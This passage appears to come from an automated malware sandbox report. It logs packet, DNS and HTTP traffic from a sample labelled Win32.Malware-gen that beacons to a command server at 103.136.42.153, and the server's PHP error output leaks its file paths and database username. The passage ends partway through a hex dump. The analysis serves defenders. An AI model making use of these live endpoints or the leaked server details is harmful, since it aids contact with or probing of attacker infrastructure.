Sep 9, 2022 18:01:51.777848005 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.778615952 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.778659105 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.778693914 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.778697968 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.778727055 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.778748035 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.779333115 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.779390097 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.779414892 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.779437065 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.779454947 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.779510975 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.779525042 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.779607058 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.780298948 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.780339956 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.780379057 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.780392885 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.780420065 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.780437946 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.780937910 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.780987978 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.781021118 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.781025887 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.781043053 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.781058073 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.781084061 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.781115055 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.781125069 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.781752110 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.781793118 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.781826973 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.781841993 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.781872988 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.781888008 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.781929970 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.781941891 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.781949043 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.782829046 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.782876968 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.782917976 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.782932043 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.782953978 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.782987118 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.782995939 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.783011913 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.783045053 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.783052921 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.783117056 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.783129930 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784189939 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784231901 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784265995 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784266949 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.784281015 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784316063 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.784662008 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784703016 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784720898 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.784737110 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784754038 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784791946 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.784805059 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784852982 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.784899950 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784934998 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784969091 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.784982920 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.785022974 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.785039902 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.785073996 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.785109043 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.785120964 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.785135031 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.785149097 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.785173893 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.785182953 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.785196066 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.785231113 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.785239935 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.785255909 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.785270929 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.789108992 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.789177895 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.789247990 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.789288998 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.789334059 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.789376020 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.789408922 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.789439917 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.789442062 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.789448977 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.789457083 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.789495945 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.789514065 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.789541006 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.789557934 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.789588928 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.789604902 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.790417910 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.790507078 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.999377012 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:52.066442013 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:59.769431114 CEST	49751	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:59.770266056 CEST	49779	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:59.800514936 CEST	80	49751	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:59.800641060 CEST	80	49779	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:59.800646067 CEST	49751	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:59.800729990 CEST	49779	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:59.801130056 CEST	49779	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:59.831459045 CEST	80	49779	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:59.832765102 CEST	80	49779	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:59.958930969 CEST	49779	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:02:01.164643049 CEST	49780	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:02:01.164711952 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.164807081 CEST	49780	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:02:01.165333986 CEST	49780	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:02:01.165363073 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.205435038 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.205642939 CEST	49780	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:02:01.209363937 CEST	49780	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:02:01.209402084 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.209745884 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.210946083 CEST	49780	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:02:01.211016893 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.426178932 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.426282883 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.426352978 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.426382065 CEST	49780	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:02:01.426403046 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.426423073 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.426457882 CEST	49780	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:02:01.426465034 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.426485062 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.426522970 CEST	49780	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:02:01.426529884 CEST	443	49780	157.240.20.35	192.168.2.7
Sep 9, 2022 18:02:01.426578045 CEST	49780	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:02:01.426611900 CEST	49780	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:02:09.158252001 CEST	80	49745	103.136.42.153	192.168.2.7
Sep 9, 2022 18:02:09.163249016 CEST	49745	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:02:09.173180103 CEST	49745	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:02:09.203325987 CEST	80	49745	103.136.42.153	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 9, 2022 18:00:12.315836906 CEST	51007	53	192.168.2.7	8.8.8.8
Sep 9, 2022 18:00:12.335201025 CEST	53	51007	8.8.8.8	192.168.2.7
Sep 9, 2022 18:00:31.008302927 CEST	58283	53	192.168.2.7	8.8.8.8
Sep 9, 2022 18:00:31.027970076 CEST	53	58283	8.8.8.8	192.168.2.7
Sep 9, 2022 18:00:38.367618084 CEST	50024	53	192.168.2.7	8.8.8.8
Sep 9, 2022 18:00:38.387173891 CEST	53	50024	8.8.8.8	192.168.2.7
Sep 9, 2022 18:01:09.878619909 CEST	51526	53	192.168.2.7	8.8.8.8
Sep 9, 2022 18:01:09.898200989 CEST	53	51526	8.8.8.8	192.168.2.7
Sep 9, 2022 18:01:20.437191963 CEST	58784	53	192.168.2.7	8.8.8.8
Sep 9, 2022 18:01:20.454487085 CEST	53	58784	8.8.8.8	192.168.2.7
Sep 9, 2022 18:01:27.393635035 CEST	57970	53	192.168.2.7	8.8.8.8
Sep 9, 2022 18:01:27.413002014 CEST	53	57970	8.8.8.8	192.168.2.7
Sep 9, 2022 18:01:51.488746881 CEST	51436	53	192.168.2.7	8.8.8.8
Sep 9, 2022 18:01:51.509862900 CEST	53	51436	8.8.8.8	192.168.2.7
Sep 9, 2022 18:02:01.145045996 CEST	51945	53	192.168.2.7	8.8.8.8
Sep 9, 2022 18:02:01.162662983 CEST	53	51945	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 9, 2022 18:00:12.315836906 CEST	192.168.2.7	8.8.8.8	0xc6a8	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)
Sep 9, 2022 18:00:31.008302927 CEST	192.168.2.7	8.8.8.8	0x86b	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)
Sep 9, 2022 18:00:38.367618084 CEST	192.168.2.7	8.8.8.8	0x8bf1	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)
Sep 9, 2022 18:01:09.878619909 CEST	192.168.2.7	8.8.8.8	0x783b	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)
Sep 9, 2022 18:01:20.437191963 CEST	192.168.2.7	8.8.8.8	0x9a9d	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)
Sep 9, 2022 18:01:27.393635035 CEST	192.168.2.7	8.8.8.8	0xdc1f	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)
Sep 9, 2022 18:01:51.488746881 CEST	192.168.2.7	8.8.8.8	0x4d1e	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)
Sep 9, 2022 18:02:01.145045996 CEST	192.168.2.7	8.8.8.8	0x4257	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 9, 2022 18:00:12.335201025 CEST	8.8.8.8	192.168.2.7	0xc6a8	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)
Sep 9, 2022 18:00:12.335201025 CEST	8.8.8.8	192.168.2.7	0xc6a8	No error (0)	star-mini.c10r.facebook.com		157.240.236.35	A (IP address)	IN (0x0001)
Sep 9, 2022 18:00:31.027970076 CEST	8.8.8.8	192.168.2.7	0x86b	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)
Sep 9, 2022 18:00:31.027970076 CEST	8.8.8.8	192.168.2.7	0x86b	No error (0)	star-mini.c10r.facebook.com		157.240.236.35	A (IP address)	IN (0x0001)
Sep 9, 2022 18:00:38.387173891 CEST	8.8.8.8	192.168.2.7	0x8bf1	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)
Sep 9, 2022 18:00:38.387173891 CEST	8.8.8.8	192.168.2.7	0x8bf1	No error (0)	star-mini.c10r.facebook.com		31.13.92.36	A (IP address)	IN (0x0001)
Sep 9, 2022 18:01:09.898200989 CEST	8.8.8.8	192.168.2.7	0x783b	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)
Sep 9, 2022 18:01:09.898200989 CEST	8.8.8.8	192.168.2.7	0x783b	No error (0)	star-mini.c10r.facebook.com		185.60.216.35	A (IP address)	IN (0x0001)
Sep 9, 2022 18:01:20.454487085 CEST	8.8.8.8	192.168.2.7	0x9a9d	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)
Sep 9, 2022 18:01:20.454487085 CEST	8.8.8.8	192.168.2.7	0x9a9d	No error (0)	star-mini.c10r.facebook.com		185.60.216.35	A (IP address)	IN (0x0001)
Sep 9, 2022 18:01:27.413002014 CEST	8.8.8.8	192.168.2.7	0xdc1f	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)
Sep 9, 2022 18:01:27.413002014 CEST	8.8.8.8	192.168.2.7	0xdc1f	No error (0)	star-mini.c10r.facebook.com		157.240.20.35	A (IP address)	IN (0x0001)
Sep 9, 2022 18:01:51.509862900 CEST	8.8.8.8	192.168.2.7	0x4d1e	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)
Sep 9, 2022 18:01:51.509862900 CEST	8.8.8.8	192.168.2.7	0x4d1e	No error (0)	star-mini.c10r.facebook.com		157.240.17.35	A (IP address)	IN (0x0001)
Sep 9, 2022 18:02:01.162662983 CEST	8.8.8.8	192.168.2.7	0x4257	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)
Sep 9, 2022 18:02:01.162662983 CEST	8.8.8.8	192.168.2.7	0x4257	No error (0)	star-mini.c10r.facebook.com		157.240.20.35	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.facebook.com

103.136.42.153

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49723	157.240.236.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49732	157.240.236.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	49733	103.136.42.153	80	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
Sep 9, 2022 18:00:38.015584946 CEST	911	OUT	GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Sep 9, 2022 18:00:38.043159962 CEST	912	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Sep 2022 16:00:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 38 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 388<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='securiteinfo.com.win32.malware-gen.30674' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	49745	103.136.42.153	80	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
Sep 9, 2022 18:01:09.126331091 CEST	9451	OUT	GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Sep 9, 2022 18:01:09.157552958 CEST	9452	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Sep 2022 16:01:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 38 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 